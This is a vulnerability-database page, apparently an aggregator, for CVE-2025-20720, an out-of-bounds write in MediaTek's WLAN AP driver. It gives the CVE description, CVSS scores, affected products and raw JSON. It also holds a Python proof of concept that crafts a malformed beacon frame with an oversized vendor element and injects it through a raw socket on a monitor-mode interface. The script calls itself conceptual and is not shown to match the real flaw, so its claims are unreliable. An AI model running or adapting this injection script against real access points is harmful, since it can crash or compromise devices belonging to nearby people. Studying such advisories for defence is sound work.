Security Vulnerability Report
中文
CVE-2025-20720 CVSS 8.8 HIGH

CVE-2025-20720

Published: 2025-10-14 10:15:37
Last Modified: 2025-10-15 18:45:23

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00418954; Issue ID: MSV-3569.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7603:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP 驱动(具体受影响版本请参考MediaTek 2025年10月安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20720 - MediaTek WLAN AP Driver Out of Bounds Write PoC # Vulnerability: Incorrect bounds check in WLAN AP driver # Attack Vector: Adjacent network (requires proximity) # Reference: Patch ID: WCNCR00418954; Issue ID: MSV-3569 #!/usr/bin/env python3 """ Proof of Concept for CVE-2025-20720 MediaTek WLAN AP Driver - Out of Bounds Write via Incorrect Bounds Check This PoC demonstrates the concept of crafting a malformed WLAN frame to trigger the out-of-bounds write vulnerability in the MediaTek WLAN AP driver. NOTE: This is a conceptual PoC. Actual exploitation requires: - Proximity to the target device (adjacent network access) - Raw frame injection capability (monitor mode wireless adapter) - Knowledge of the specific target's memory layout """ import struct import socket import os def craft_malicious_wlan_frame(target_bssid, ssid, payload_size=4096): """ Craft a malicious WLAN management/data frame to trigger OOB write. The vulnerability is triggered by incorrect bounds checking when processing frame payload length or field offset. """ # IEEE 802.11 frame header frame_control = b'\xb0\x00' # Beacon frame duration = b'\x00\x00' addr1 = b'\xff\xff\xff\xff\xff\xff' # Broadcast addr2 = target_bssid # Target AP BSSID addr3 = target_bssid seq_ctrl = b'\x00\x00' header = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl # Malicious payload with oversized length field to trigger OOB write # The bounds check fails to validate this length properly timestamp = struct.pack('<Q', 0) beacon_interval = struct.pack('<H', 100) capability = struct.pack('<H', 0x0411) # SSID element with manipulated length ssid_element = b'\x00' + bytes([len(ssid)]) + ssid.encode() # Oversized vendor-specific element to trigger OOB write # The driver fails to properly validate the length before writing vendor_element = b'\xdd' + struct.pack('<B', 0xff) + b'\x00\x50\xf2' + b'\x41' * payload_size frame = header + timestamp + beacon_interval + capability + ssid_element + vendor_element return frame def inject_frame(interface, frame): """ Inject the crafted frame using raw socket. Requires monitor mode and root privileges. """ try: # Create raw socket for 802.11 frame injection sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) sock.bind((interface, 0)) sock.send(frame) sock.close() print(f"[+] Malicious frame injected on {interface}") except PermissionError: print("[-] Need root privileges for raw socket access") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Configuration TARGET_BSSID = b'\x00\x11\x22\x33\x44\x55' # Replace with target AP BSSID TARGET_SSID = "MediaTek_AP" INTERFACE = "wlan0mon" # Monitor mode interface print("[*] CVE-2025-20720 PoC - MediaTek WLAN AP Driver OOB Write") print("[*] Crafting malicious frame...") frame = craft_malicious_wlan_frame(TARGET_BSSID, TARGET_SSID) print(f"[*] Frame size: {len(frame)} bytes") print("[*] Injecting frame (requires proximity to target)...") inject_frame(INTERFACE, frame) print("[*] If the target is vulnerable, the OOB write has been triggered.") print("[*] Check target device for potential crash or privilege escalation.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20720", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.777", "lastModified": "2025-10-15T18:45:23.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00418954; Issue ID: MSV-3569."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7603:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A45CDA9-95E6-4C02-8C3C-3B0CF7272A6F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}